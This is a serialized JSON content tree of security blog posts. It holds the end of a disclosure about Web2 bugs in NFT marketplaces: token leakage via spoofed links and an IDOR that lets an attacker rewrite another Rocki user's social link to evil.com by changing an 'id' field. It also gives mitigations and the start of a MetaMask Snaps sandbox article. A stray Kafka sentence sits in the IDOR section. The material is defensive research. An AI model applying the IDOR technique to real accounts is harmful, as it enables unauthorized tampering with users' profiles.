account.",{"type":22,"tag":31,"props":36773,"children":36774},{},[36775],{"type":28,"value":36776},"Here's the breakdown.",{"type":22,"tag":31,"props":36778,"children":36779},{},[36780],{"type":28,"value":36781},"First, we send the verification link to a user's email:",{"type":22,"tag":33285,"props":36783,"children":36784},{"style":33287},[36785],{"type":22,"tag":5928,"props":36786,"children":36790},{"src":36787,"alt":36788,"style":36789},"/posts/web2-bug-repellant-instructions/token-leakage.png","token-leakage","max-height:650px;",[],{"type":22,"tag":31,"props":36792,"children":36793},{},[36794],{"type":28,"value":36795},"If the user clicks on the spoofed URL, their token will be stolen, allowing the attacker to link their account to the victim’s email.",{"type":22,"tag":1289,"props":36797,"children":36799},{"id":36798},"idor",[36800],{"type":28,"value":36801},"IDOR",{"type":22,"tag":31,"props":36803,"children":36804},{},[36805],{"type":22,"tag":4764,"props":36806,"children":36807},{},[36808,36810,36817],{"type":28,"value":36809},"As Gregor Samsa awoke one morning from uneasy dreams he found himself transformed in his bed into a gigantic ",{"type":22,"tag":42,"props":36811,"children":36814},{"href":36812,"rel":36813},"https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html",[46],[36815],{"type":28,"value":36816},"insect",{"type":28,"value":292},{"type":22,"tag":31,"props":36819,"children":36820},{},[36821,36823,36829],{"type":28,"value":36822},"During a security assessment of the ",{"type":22,"tag":42,"props":36824,"children":36827},{"href":36825,"rel":36826},"https://rocki.com",[46],[36828],{"type":28,"value":33223},{"type":28,"value":36830},", a critical vulnerability known as an Insecure Direct Object Reference (IDOR) was identified within the social link modification functionality. Exploiting this vulnerability enables an attacker to modify the social media links of other users without proper authorization.",{"type":22,"tag":31,"props":36832,"children":36833},{},[36834],{"type":28,"value":36835},"The specific vulnerable endpoint was identified as a POST request to /api/user/modifySocialLink, which is responsible for handling requests to update social media links associated with user accounts. This endpoint requires two parameters: \"newLink\" to specify the desired social media link and \"id\" to indicate the user's ID.",{"type":22,"tag":31,"props":36837,"children":36838},{},[36839],{"type":28,"value":36840},"Now, to exploit this vulnerability, an attacker can intercept or modify the request being sent to the \"POST /api/user/modifySocialLink\" endpoint. By manipulating the \"id\" parameter with the user ID of another user, the attacker is able to bypass proper authorization checks and modify the social media link associated with the targeted user's account.",{"type":22,"tag":31,"props":36842,"children":36843},{},[36844,36846,36852,36854,36859],{"type":28,"value":36845},"Here is an example of a request that modifies another user's social media link to ",{"type":22,"tag":114,"props":36847,"children":36849},{"className":36848},[],[36850],{"type":28,"value":36851},"https://evil.com/",{"type":28,"value":36853},". To achieve this, we simply changed the ",{"type":22,"tag":114,"props":36855,"children":36857},{"className":36856},[],[36858],{"type":28,"value":4679},{"type":28,"value":36860}," field value to one that belongs to another user:",{"type":22,"tag":31,"props":36862,"children":36863},{},[36864],{"type":22,"tag":5928,"props":36865,"children":36867},{"alt":7,"src":36866},"/posts/web2-bug-repellant-instructions/idor-1.png",[],{"type":22,"tag":31,"props":36869,"children":36870},{},[36871],{"type":28,"value":36872},"The following screenshot is the response to our request:",{"type":22,"tag":31,"props":36874,"children":36875},{},[36876],{"type":22,"tag":5928,"props":36877,"children":36879},{"alt":7,"src":36878},"/posts/web2-bug-repellant-instructions/idor-2.png",[],{"type":22,"tag":23,"props":36881,"children":36883},{"id":36882},"preventative-action-steps-for-marketplaces",[36884],{"type":22,"tag":74,"props":36885,"children":36886},{},[36887],{"type":28,"value":36888},"Preventative Action Steps for Marketplaces",{"type":22,"tag":31,"props":36890,"children":36891},{},[36892],{"type":28,"value":36893},"To mitigate the vulnerabilities we’ve discussed, NFT marketplaces must prioritize the implementation of robust security measures. Below, we outline potential mitigations that can help platforms enhance their security posture and protect users and their valuable digital assets.",{"type":22,"tag":31,"props":36895,"children":36896},{},[36897,36899,36905,36907,36913],{"type":28,"value":36898},"First and foremost, NFT marketplaces should prioritize security by strengthening their input validation and output encoding processes. This can be done by encoding untrusted data with HTML entities in backend or using ",{"type":22,"tag":114,"props":36900,"children":36902},{"className":36901},[],[36903],{"type":28,"value":36904},"innerText",{"type":28,"value":36906}," instead of ",{"type":22,"tag":114,"props":36908,"children":36910},{"className":36909},[],[36911],{"type":28,"value":36912},"innerHTML",{"type":28,"value":36914}," in client-side:",{"type":22,"tag":107,"props":36916,"children":36918},{"className":33302,"code":36917,"language":33304,"meta":7,"style":7},"document.getElementById('nftCollectionName').innerText = nftCollectionName;\n",[36919],{"type":22,"tag":114,"props":36920,"children":36921},{"__ignoreMap":7},[36922],{"type":22,"tag":118,"props":36923,"children":36924},{"class":120,"line":121},[36925,36929,36933,36938,36942,36947,36951,36955,36959,36964],{"type":22,"tag":118,"props":36926,"children":36927},{"style":204},[36928],{"type":28,"value":34646},{"type":22,"tag":118,"props":36930,"children":36931},{"style":125},[36932],{"type":28,"value":292},{"type":22,"tag":118,"props":36934,"children":36935},{"style":532},[36936],{"type":28,"value":36937},"getElementById",{"type":22,"tag":118,"props":36939,"children":36940},{"style":125},[36941],{"type":28,"value":540},{"type":22,"tag":118,"props":36943,"children":36944},{"style":1866},[36945],{"type":28,"value":36946},"'nftCollectionName'",{"type":22,"tag":118,"props":36948,"children":36949},{"style":125},[36950],{"type":28,"value":22702},{"type":22,"tag":118,"props":36952,"children":36953},{"style":204},[36954],{"type":28,"value":36904},{"type":22,"tag":118,"props":36956,"children":36957},{"style":210},[36958],{"type":28,"value":837},{"type":22,"tag":118,"props":36960,"children":36961},{"style":204},[36962],{"type":28,"value":36963}," nftCollectionName",{"type":22,"tag":118,"props":36965,"children":36966},{"style":125},[36967],{"type":28,"value":801},{"type":22,"tag":31,"props":36969,"children":36970},{},[36971],{"type":28,"value":36972},"However, rendering HTML or markdown user input is intended. In these cases, dangerous HTML tags need to be validated and sanitized via consolidated libraries like DomPurify:",{"type":22,"tag":107,"props":36974,"children":36976},{"className":33302,"code":36975,"language":33304,"meta":7,"style":7},"var sanitizedInput = DOMPurify.sanitize(userInput);\n",[36977],{"type":22,"tag":114,"props":36978,"children":36979},{"__ignoreMap":7},[36980],{"type":22,"tag":118,"props":36981,"children":36982},{"class":120,"line":121},[36983,36988,36993,36997,37002,37006,37011,37015,37020],{"type":22,"tag":118,"props":36984,"children":36985},{"style":146},[36986],{"type":28,"value":36987},"var",{"type":22,"tag":118,"props":36989,"children":36990},{"style":204},[36991],{"type":28,"value":36992}," sanitizedInput",{"type":22,"tag":118,"props":36994,"children":36995},{"style":210},[36996],{"type":28,"value":837},{"type":22,"tag":118,"props":36998,"children":36999},{"style":204},[37000],{"type":28,"value":37001}," DOMPurify",{"type":22,"tag":118,"props":37003,"children":37004},{"style":125},[37005],{"type":28,"value":292},{"type":22,"tag":118,"props":37007,"children":37008},{"style":532},[37009],{"type":28,"value":37010},"sanitize",{"type":22,"tag":118,"props":37012,"children":37013},{"style":125},[37014],{"type":28,"value":540},{"type":22,"tag":118,"props":37016,"children":37017},{"style":204},[37018],{"type":28,"value":37019},"userInput",{"type":22,"tag":118,"props":37021,"children":37022},{"style":125},[37023],{"type":28,"value":682},{"type":22,"tag":31,"props":37025,"children":37026},{},[37027,37029,37036],{"type":28,"value":37028},"This can effectively mitigate the risk of XSS attacks. With that being said, implementing security measures such as ",{"type":22,"tag":42,"props":37030,"children":37033},{"href":37031,"rel":37032},"https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP",[46],[37034],{"type":28,"value":37035},"Content-Security-Policy",{"type":28,"value":37037}," (CSP) will help ensure that generated content is rendered safely, without compromising the platform's security.",{"type":22,"tag":31,"props":37039,"children":37040},{},[37041],{"type":28,"value":37042},"Furthermore, a key step is for NFT marketplaces to establish strict file upload policies. By conducting thorough checks on file types and content, platforms can prevent the upload of potentially malicious SVG files. Validating both the file extension and content type will significantly reduce the risk of SVG-based XSS attacks, ensuring a safer user experience.",{"type":22,"tag":31,"props":37044,"children":37045},{},[37046,37048,37055],{"type":28,"value":37047},"Another precaution is to implement secure redirect mechanisms. By implementing a server-side allow-list of trusted domains, NFT marketplaces can prevent open redirect vulnerabilities. This ensures that users are directed only to trusted and intended domains, safeguarding them from potential phishing or malicious attacks where the authentication code is leaked. Here we are showing an example of a secure redirect by applying an ",{"type":22,"tag":42,"props":37049,"children":37052},{"href":37050,"rel":37051},"https://www.techtarget.com/whatis/definition/whitelist",[46],[37053],{"type":28,"value":37054},"allow-list",{"type":28,"value":37056}," :",{"type":22,"tag":107,"props":37058,"children":37060},{"className":33302,"code":37059,"language":33304,"meta":7,"style":7},"const allowDomains = ['https://allowed-domain'];\nif (!allowDomains.includes(domain)) {\n  throw new ApolloError('invalid domain');\n}\n",[37061],{"type":22,"tag":114,"props":37062,"children":37063},{"__ignoreMap":7},[37064,37093,37135,37165],{"type":22,"tag":118,"props":37065,"children":37066},{"class":120,"line":121},[37067,37071,37076,37080,37084,37089],{"type":22,"tag":118,"props":37068,"children":37069},{"style":146},[37070],{"type":28,"value":11653},{"type":22,"tag":118,"props":37072,"children":37073},{"style":204},[37074],{"type":28,"value":37075}," allowDomains",{"type":22,"tag":118,"props":37077,"children":37078},{"style":210},[37079],{"type":28,"value":837},{"type":22,"tag":118,"props":37081,"children":37082},{"style":125},[37083],{"type":28,"value":24983},{"type":22,"tag":118,"props":37085,"children":37086},{"style":1866},[37087],{"type":28,"value":37088},"'https://allowed-domain'",{"type":22,"tag":118,"props":37090,"children":37091},{"style":125},[37092],{"type":28,"value":33513},{"type":22,"tag":118,"props":37094,"children":37095},{"class":120,"line":142},[37096,37100,37104,37108,37113,37117,37122,37126,37130],{"type":22,"tag":118,"props":37097,"children":37098},{"style":1480},[37099],{"type":28,"value":17553},{"type":22,"tag":118,"props":37101,"children":37102},{"style":125},[37103],{"type":28,"value":842},{"type":22,"tag":118,"props":37105,"children":37106},{"style":210},[37107],{"type":28,"value":22581},{"type":22,"tag":118,"props":37109,"children":37110},{"style":204},[37111],{"type":28,"value":37112},"allowDomains",{"type":22,"tag":118,"props":37114,"children":37115},{"style":125},[37116],{"type":28,"value":292},{"type":22,"tag":118,"props":37118,"children":37119},{"style":532},[37120],{"type":28,"value":37121},"includes",{"type":22,"tag":118,"props":37123,"children":37124},{"style":125},[37125],{"type":28,"value":540},{"type":22,"tag":118,"props":37127,"children":37128},{"style":204},[37129],{"type":28,"value":34656},{"type":22,"tag":118,"props":37131,"children":37132},{"style":125},[37133],{"type":28,"value":37134},")) {\n",{"type":22,"tag":118,"props":37136,"children":37137},{"class":120,"line":177},[37138,37143,37147,37152,37156,37161],{"type":22,"tag":118,"props":37139,"children":37140},{"style":1480},[37141],{"type":28,"value":37142},"  throw",{"type":22,"tag":118,"props":37144,"children":37145},{"style":146},[37146],{"type":28,"value":3442},{"type":22,"tag":118,"props":37148,"children":37149},{"style":532},[37150],{"type":28,"value":37151}," ApolloError",{"type":22,"tag":118,"props":37153,"children":37154},{"style":125},[37155],{"type":28,"value":540},{"type":22,"tag":118,"props":37157,"children":37158},{"style":1866},[37159],{"type":28,"value":37160},"'invalid domain'",{"type":22,"tag":118,"props":37162,"children":37163},{"style":125},[37164],{"type":28,"value":682},{"type":22,"tag":118,"props":37166,"children":37167},{"class":120,"line":195},[37168],{"type":22,"tag":118,"props":37169,"children":37170},{"style":125},[37171],{"type":28,"value":481},{"type":22,"tag":31,"props":37173,"children":37174},{},[37175,37177,37184,37186,37193],{"type":28,"value":37176},"As ",{"type":22,"tag":42,"props":37178,"children":37181},{"href":37179,"rel":37180},"https://graphql.org/",[46],[37182],{"type":28,"value":37183},"GraphQl",{"type":28,"value":37185}," is widely utilized by NFT marketplaces, it is crucial to understand the reasons behind disabling certain features like ",{"type":22,"tag":42,"props":37187,"children":37190},{"href":37188,"rel":37189},"https://graphql.org/learn/introspection/",[46],[37191],{"type":28,"value":37192},"introspection",{"type":28,"value":37194}," in production environments. By disabling introspection, it ensures that clients are unable to query the API's schema, preventing the potential exposure of sensitive information regarding its structure and implementation. Below, we provide an example of how to achieve this using the Apollo server:",{"type":22,"tag":107,"props":37196,"children":37198},{"className":33302,"code":37197,"language":33304,"meta":7,"style":7},"const server = new ApolloServer({\n  typeDefs,\n  resolvers,\n  introspection: false,\n});\n",[37199],{"type":22,"tag":114,"props":37200,"children":37201},{"__ignoreMap":7},[37202,37231,37243,37255,37271],{"type":22,"tag":118,"props":37203,"children":37204},{"class":120,"line":121},[37205,37209,37214,37218,37222,37227],{"type":22,"tag":118,"props":37206,"children":37207},{"style":146},[37208],{"type":28,"value":11653},{"type":22,"tag":118,"props":37210,"children":37211},{"style":204},[37212],{"type":28,"value":37213}," server",{"type":22,"tag":118,"props":37215,"children":37216},{"style":210},[37217],{"type":28,"value":837},{"type":22,"tag":118,"props":37219,"children":37220},{"style":146},[37221],{"type":28,"value":3442},{"type":22,"tag":118,"props":37223,"children":37224},{"style":532},[37225],{"type":28,"value":37226}," ApolloServer",{"type":22,"tag":118,"props":37228,"children":37229},{"style":125},[37230],{"type":28,"value":17116},{"type":22,"tag":118,"props":37232,"children":37233},{"class":120,"line":142},[37234,37239],{"type":22,"tag":118,"props":37235,"children":37236},{"style":204},[37237],{"type":28,"value":37238},"  typeDefs",{"type":22,"tag":118,"props":37240,"children":37241},{"style":125},[37242],{"type":28,"value":782},{"type":22,"tag":118,"props":37244,"children":37245},{"class":120,"line":177},[37246,37251],{"type":22,"tag":118,"props":37247,"children":37248},{"style":204},[37249],{"type":28,"value":37250},"  resolvers",{"type":22,"tag":118,"props":37252,"children":37253},{"style":125},[37254],{"type":28,"value":782},{"type":22,"tag":118,"props":37256,"children":37257},{"class":120,"line":195},[37258,37263,37267],{"type":22,"tag":118,"props":37259,"children":37260},{"style":204},[37261],{"type":28,"value":37262},"  introspection:",{"type":22,"tag":118,"props":37264,"children":37265},{"style":146},[37266],{"type":28,"value":1678},{"type":22,"tag":118,"props":37268,"children":37269},{"style":125},[37270],{"type":28,"value":782},{"type":22,"tag":118,"props":37272,"children":37273},{"class":120,"line":244},[37274],{"type":22,"tag":118,"props":37275,"children":37276},{"style":125},[37277],{"type":28,"value":37278},"});\n",{"type":22,"tag":31,"props":37280,"children":37281},{},[37282,37284,37291,37293,37300],{"type":28,"value":37283},"Similarly, when ",{"type":22,"tag":42,"props":37285,"children":37288},{"href":37286,"rel":37287},"https://www.apollographql.com/blog/apollo-client/performance/batching-client-graphql-queries/",[46],[37289],{"type":28,"value":37290},"batching",{"type":28,"value":37292}," is enabled, the code should limit the number of queries that can run simultaneously and implement object request rate limiting. This additional measure helps protect the website from potential ",{"type":22,"tag":42,"props":37294,"children":37297},{"href":37295,"rel":37296},"https://en.wikipedia.org/wiki/Denial-of-service_attack",[46],[37298],{"type":28,"value":37299},"denial-of-service",{"type":28,"value":37301}," (DoS) attacks.",{"type":22,"tag":31,"props":37303,"children":37304},{},[37305],{"type":28,"value":37306},"Lastly, NFT marketplaces should pay close attention to authentication and authorization controls. Specifically, addressing third-party platform misconfiguration. Applying the least privilege principle is crucial for enhancing security.",{"type":22,"tag":31,"props":37308,"children":37309},{},[37310],{"type":28,"value":37311},"By implementing these security measures, NFT marketplaces can strengthen their security posture, build trust among users, and create a secure environment for the trading and exchange of valuable digital assets.",{"type":22,"tag":37313,"props":37314,"children":37315},"h1",{"id":30872},[37316],{"type":28,"value":20914},{"type":22,"tag":31,"props":37318,"children":37319},{},[37320],{"type":28,"value":37321},"To recap, the presence of Web 2 bugs in NFT marketplaces emphasizes the need to address the underlying security issues within these platforms. Developers must prioritize not only the integrity of on-chain operations, but also the security of off-chain processes. To ensure an overall robust and trustworthy ecosystem for NFT marketplaces, developers should focus on implementing comprehensive security measures across all the components of the marketplace, engage with third party auditor, and test the entire infrastructure as necessary to identify and address any potential vulnerabilities.",{"type":22,"tag":31,"props":37323,"children":37324},{},[37325],{"type":28,"value":37326},"Most of all, it is especially crucial to educate communities about risks and security best practices. By promoting awareness and providing transparent information, platforms can empower users to make informed decisions and protect themselves against potential scams or fraudulent activities.",{"type":22,"tag":23,"props":37328,"children":37330},{"id":37329},"disclaimer",[37331],{"type":28,"value":37332},"Disclaimer",{"type":22,"tag":31,"props":37334,"children":37335},{},[37336],{"type":28,"value":37337},"Despite our consistent efforts to contact the Rocki Marketplace team regarding our findings, we unfortunately have not received a response. As a result, we decided to disclose this matter to our readers. We will continue to closely monitor the situation and remain open in helping their team resolve this issue.",{"type":22,"tag":4880,"props":37339,"children":37340},{},[37341],{"type":28,"value":4884},{"title":7,"searchDepth":142,"depth":142,"links":37343},[37344,37347,37353,37357,37358],{"id":25,"depth":142,"text":29,"children":37345},[37346],{"id":4950,"depth":177,"text":4953},{"id":33146,"depth":142,"text":33176,"children":37348},[37349,37350,37351,37352],{"id":33195,"depth":177,"text":33198},{"id":33260,"depth":177,"text":33263},{"id":36091,"depth":177,"text":36094},{"id":36381,"depth":177,"text":36384},{"id":36726,"depth":142,"text":36729,"children":37354},[37355,37356],{"id":36748,"depth":177,"text":36751},{"id":36798,"depth":177,"text":36801},{"id":36882,"depth":142,"text":36888},{"id":37329,"depth":142,"text":37332},"content:blog:2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions",{"_path":37363,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":37364,"description":37365,"author":37366,"image":37367,"date":37369,"isFeatured":15,"onBlogPage":15,"body":37370,"_type":4896,"_id":42384,"_source":4898,"_file":42385,"_stem":42386,"_extension":4901},"/blog/2023-11-01-metamask-snaps","Metamask Snaps: Playing in the Sand","A deep dig into Metamask Snaps. We explore safety considerations, environment design, and break down a property spoofing vulnerability in the Snaps sandboxing layer.",[33140,33139],{"src":37368,"height":15617,"width":13},"/posts/metamask-snaps/header.png","2023-11-01",{"type":19,"children":37371,"toc":42365},[37372,37376,37381,37386,37391,37397,37402,37408,37421,37426,37431,37438,37470,37476,37481,37499,37506,37512,37526,37532,37552,37816,37844,37850,37869,38255,38274,38287,38605,38626,38897,38902,38908,38913,38926,38931,38944,39203,39247,39260,39266,39280,39286,39292,39305,39342,39348,39368,39479,39506,39512,39530,39543,39549,39554,39572,39683,39688,39709,39722,39739,39839,39865,39882,40004,40030,40042,40047,40053,40059,40064,40087,40092,40097,40103,40109,40136,40539,40566,40593,40599,40630,40939,40958,40963,40988,41001,41007,41034,41329,41365,41383,41388,41423,41428,41432,41437,41444,41449,41476,42253,42273,42279,42300,42347,42351,42356,42361],{"type":22,"tag":23,"props":37373,"children":37374},{"id":20923},[37375],{"type":28,"value":20926},{"type":22,"tag":31,"props":37377,"children":37378},{},[37379],{"type":28,"value":37380},"Metamask snaps are simple modules that extend Metamask's functionality. These modules can be written by anyone, and provide useful features that the vanilla wallet doesn't.",{"type":22,"tag":31,"props":37382,"children":37383},{},[37384],{"type":28,"value":37385},"Metamask provides a sandboxed environment that allows developers to run Snap code safely, without disclosing or tampering with critical information without user permission.",{"type":22,"tag":31,"props":37387,"children":37388},{},[37389],{"type":28,"value":37390},"In this article, we'll explore exactly how the snap execution environment works. We'll then delve into a unique property spoofing vulnerability we reported in the Metamask Snaps sandbox.",{"type":22,"tag":23,"props":37392,"children":37394},{"id":37393},"sandbox-security",[37395],{"type":28,"value":37396},"Sandbox Security",{"type":22,"tag":31,"props":37398,"children":37399},{},[37400],{"type":28,"value":37401},"In the first part of the article, we'll describe how the Metamask sandbox works, and examine what it's doing to protect the security of Snaps.",{"type":22,"tag":1289,"props":37403,"children":37405},{"id":37404},"permission-based-security",[37406],{"type":28,"value":37407},"Permission-based security",{"type":22,"tag":31,"props":37409,"children":37410},{},[37411,37413,37419],{"type":28,"value":37412},"Each snap is built to have only the permissions it needs to hold. These permissions are specified in the ",{"type":22,"tag":114,"props":37414,"children":37416},{"className":37415},[],[37417],{"type":28,"value":37418},"snap.manifest.json",{"type":28,"value":37420}," file and can be critical to security.",{"type":22,"tag":31,"props":37422,"children":37423},{},[37424],{"type":28,"value":37425},"Snap security is totally centered around the user, whose decisions can provide dangerous permissions to a malicious snap. Metamask warns about the risk of each permission.",{"type":22,"tag":31,"props":37427,"children":37428},{},[37429],{"type":28,"value":37430},"Here are the critical permissions possible to be given to a snap:",{"type":22,"tag":31,"props":37432,"children":37433},{},[37434],{"type":22,"tag":5928,"props":37435,"children":37437},{"alt":7,"src":37436},"/posts/metamask-snaps/permissions.png",[],{"type":22,"tag":64,"props":37439,"children":37440},{},[37441,37459],{"type":22,"tag":68,"props":37442,"children":37443},{},[37444,37450,37451,37457],{"type":22,"tag":114,"props":37445,"children":37447},{"className":37446},[],[37448],{"type":28,"value":37449},"snap_getBip44Entropy",{"type":28,"value":12991},{"type":22,"tag":114,"props":37452,"children":37454},{"className":37453},[],[37455],{"type":28,"value":37456},"snap_getBip32Entropy",{"type":28,"value":37458}," -> a malicious snap retrieving keypair leads to loss of funds",{"type":22,"tag":68,"props":37460,"children":37461},{},[37462,37468],{"type":22,"tag":114,"props":37463,"children":37465},{"className":37464},[],[37466],{"type":28,"value":37467},"endowment:transaction-insight",{"type":28,"value":37469}," -> a malicious snap getting insights of a transaction before approval can lead to frontrunning attacks",{"type":22,"tag":1289,"props":37471,"children":37473},{"id":37472},"snap-execution-environment",[37474],{"type":28,"value":37475},"Snap execution environment",{"type":22,"tag":31,"props":37477,"children":37478},{},[37479],{"type":28,"value":37480},"Snaps are executed in a totally sandboxed environment which provides a safe context for executing untrusted code, and separates it from the normal execution flow. To accomplish this, Metamask uses 3 layers of security to create this safe environment:",{"type":22,"tag":4029,"props":37482,"children":37483},{},[37484,37489,37494],{"type":22,"tag":68,"props":37485,"children":37486},{},[37487],{"type":28,"value":37488},"An isolated iframe",{"type":22,"tag":68,"props":37490,"children":37491},{},[37492],{"type":28,"value":37493},"LavaMoat",{"type":22,"tag":68,"props":37495,"children":37496},{},[37497],{"type":28,"value":37498},"SES (Secure EcmaScript)",{"type":22,"tag":31,"props":37500,"children":37501},{},[37502],{"type":22,"tag":5928,"props":37503,"children":37505},{"alt":7,"src":37504},"/posts/metamask-snaps/environment.png",[],{"type":22,"tag":1289,"props":37507,"children":37509},{"id":37508},"isolated-iframe-layer-1",[37510],{"type":28,"value":37511},"Isolated Iframe - Layer 1",{"type":22,"tag":31,"props":37513,"children":37514},{},[37515,37517,37524],{"type":28,"value":37516},"Snaps empower developers to enhance Metamask's functionality while maintaining a strong security posture. These modules execute within an ",{"type":22,"tag":42,"props":37518,"children":37521},{"href":37519,"rel":37520},"https://blog.logrocket.com/the-ultimate-guide-to-iframes/",[46],[37522],{"type":28,"value":37523},"Iframe",{"type":28,"value":37525}," environment, ensuring they are isolated and secure. To facilitate this execution, Metamask takes advantage of an iFrame sandboxing mechanism, allowing snaps to operate in a contained context.",{"type":22,"tag":1899,"props":37527,"children":37529},{"id":37528},"the-framework-metamask-extension-repo",[37530],{"type":28,"value":37531},"The Framework: Metamask-Extension Repo",{"type":22,"tag":31,"props":37533,"children":37534},{},[37535,37537,37543,37545,37551],{"type":28,"value":37536},"The process of snap execution kicks off within the metamask-extension repository's ",{"type":22,"tag":114,"props":37538,"children":37540},{"className":37539},[],[37541],{"type":28,"value":37542},"metamask-controller.js",{"type":28,"value":37544}," file. Here's a glimpse of the relevant ",{"type":22,"tag":42,"props":37546,"children":37549},{"href":37547,"rel":37548},"https://github.com/MetaMask/metamask-extension/blob/4b23ea8c95bea9ea12336537bb6bda4568a99098/app/scripts/metamask-controller.js#L978",[46],[37550],{"type":28,"value":114},{"type":28,"value":213},{"type":22,"tag":107,"props":37553,"children":37557},{"className":37554,"code":37555,"language":37556,"meta":7,"style":7},"language-javascript shiki shiki-themes slack-dark","// Import snaps-controllers\n// ...\nconst snapExecutionServiceArgs = {\n  iframeUrl: new URL(process.env.IFRAME_EXECUTION_ENVIRONMENT_URL),\n  messenger: this.controllerMessenger.getRestricted({\n    name: 'ExecutionService',\n  }),\n  setupSnapProvider: this.setupSnapProvider.bind(this),\n};\n\n// Define IFRAME_EXECUTION_ENVIRONMENT_URL\nprocess.env.IFRAME_EXECUTION_ENVIRONMENT_URL =\n  'https://execution.metamask.io/0.36.1-flask.1/index.html';\n// ...\n","javascript",[37558],{"type":22,"tag":114,"props":37559,"children":37560},{"__ignoreMap":7},[37561,37569,37577,37597,37645,37680,37697,37705,37747,37754,37761,37769,37797,37809],{"type":22,"tag":118,"props":37562,"children":37563},{"class":120,"line":121},[37564],{"type":22,"tag":118,"props":37565,"children":37566},{"style":257},[37567],{"type":28,"value":37568},"// Import snaps-controllers\n",{"type":22,"tag":118,"props":37570,"children":37571},{"class":120,"line":142},[37572],{"type":22,"tag":118,"props":37573,"children":37574},{"style":257},[37575],{"type":28,"value":37576},"// ...\n",{"type":22,"tag":118,"props":37578,"children":37579},{"class":120,"line":177},[37580,37584,37589,37593],{"type":22,"tag":118,"props":37581,"children":37582},{"style":146},[37583],{"type":28,"value":11653},{"type":22,"tag":118,"props":37585,"children":37586},{"style":204},[37587],{"type":28,"value":37588}," snapExecutionServiceArgs",{"type":22,"tag":118,"props":37590,"children":37591},{"style":210},[37592],{"type":28,"value":837},{"type":22,"tag":118,"props":37594,"children":37595},{"style":125},[37596],{"type":28,"value":1474},{"type":22,"tag":118,"props":37598,"children":37599},{"class":120,"line":195},[37600,37605,37609,37614,37618,37623,37627,37632,37636,37641],{"type":22,"tag":118,"props":37601,"children":37602},{"style":204},[37603],{"type":28,"value":37604},"  iframeUrl:",{"type":22,"tag":118,"props":37606,"children":37607},{"style":146},[37608],{"type":28,"value":3442},{"type":22,"tag":118,"props":37610,"children":37611},{"style":532},[37612],{"type":28,"value":37613}," URL",{"type":22,"tag":118,"props":37615,"children":37616},{"style":125},[37617],{"type":28,"value":540},{"type":22,"tag":118,"props":37619,"children":37620},{"style":204},[37621],{"type":28,"value":37622},"process",{"type":22,"tag":118,"props":37624,"children":37625},{"style":125},[37626],{"type":28,"value":292},{"type":22,"tag":118,"props":37628,"children":37629},{"style":204},[37630],{"type":28,"value":37631},"env",{"type":22,"tag":118,"props":37633,"children":37634},{"style":125},[37635],{"type":28,"value":292},{"type":22,"tag":118,"props":37637,"children":37638},{"style":204},[37639],{"type":28,"value":37640},"IFRAME_EXECUTION_ENVIRONMENT_URL",{"type":22,"tag":118,"props":37642,"children":37643},{"style":125},[37644],{"type":28,"value":3853},{"type":22,"tag":118,"props":37646,"children":37647},{"class":120,"line":244},[37648,37653,37658,37662,37667,37671,37676],{"type":22,"tag":118,"props":37649,"children":37650},{"style":204},[37651],{"type":28,"value":37652},"  messenger:",{"type":22,"tag":118,"props":37654,"children":37655},{"style":146},[37656],{"type":28,"value":37657}," this",{"type":22,"tag":118,"props":37659,"children":37660},{"style":125},[37661],{"type":28,"value":292},{"type":22,"tag":118,"props":37663,"children":37664},{"style":204},[37665],{"type":28,"value":37666},"controllerMessenger",{"type":22,"tag":118,"props":37668,"children":37669},{"style":125},[37670],{"type":28,"value":292},{"type":22,"tag":118,"props":37672,"children":37673},{"style":532},[37674],{"type":28,"value":37675},"getRestricted",{"type":22,"tag":118,"props":37677,"children":37678},{"style":125},[37679],{"type":28,"value":17116},{"type":22,"tag":118,"props":37681,"children":37682},{"class":120,"line":253},[37683,37688,37693],{"type":22,"tag":118,"props":37684,"children":37685},{"style":204},[37686],{"type":28,"value":37687},"    name:",{"type":22,"tag":118,"props":37689,"children":37690},{"style":1866},[37691],{"type":28,"value":37692}," 'ExecutionService'",{"type":22,"tag":118,"props":37694,"children":37695},{"style":125},[37696],{"type":28,"value":782},{"type":22,"tag":118,"props":37698,"children":37699},{"class":120,"line":263},[37700],{"type":22,"tag":118,"props":37701,"children":37702},{"style":125},[37703],{"type":28,"value":37704},"  }),\n",{"type":22,"tag":118,"props":37706,"children":37707},{"class":120,"line":318},[37708,37713,37717,37721,37726,37730,37735,37739,37743],{"type":22,"tag":118,"props":37709,"children":37710},{"style":204},[37711],{"type":28,"value":37712},"  setupSnapProvider:",{"type":22,"tag":118,"props":37714,"children":37715},{"style":146},[37716],{"type":28,"value":37657},{"type":22,"tag":118,"props":37718,"children":37719},{"style":125},[37720],{"type":28,"value":292},{"type":22,"tag":118,"props":37722,"children":37723},{"style":204},[37724],{"type":28,"value":37725},"setupSnapProvider",{"type":22,"tag":118,"props":37727,"children":37728},{"style":125},[37729],{"type":28,"value":292},{"type":22,"tag":118,"props":37731,"children":37732},{"style":532},[37733],{"type":28,"value":37734},"bind",{"type":22,"tag":118,"props":37736,"children":37737},{"style":125},[37738],{"type":28,"value":540},{"type":22,"tag":118,"props":37740,"children":37741},{"style":146},[37742],{"type":28,"value":19658},{"type":22,"tag":118,"props":37744,"children":37745},{"style":125},[37746],{"type":28,"value":3853},{"type":22,"tag":118,"props":37748,"children":37749},{"class":120,"line":351},[37750],{"type":22,"tag":118,"props":37751,"children":37752},{"style":125},[37753],{"type":28,"value":4277},{"type":22,"tag":118,"props":37755,"children":37756},{"class":120,"line":359},[37757],{"type":22,"tag":118,"props":37758,"children":37759},{"emptyLinePlaceholder":15},[37760],{"type":28,"value":250},{"type":22,"tag":118,"props":37762,"children":37763},{"class":120,"line":368},[37764],{"type":22,"tag":118,"props":37765,"children":37766},{"style":257},[37767],{"type":28,"value":37768},"// Define 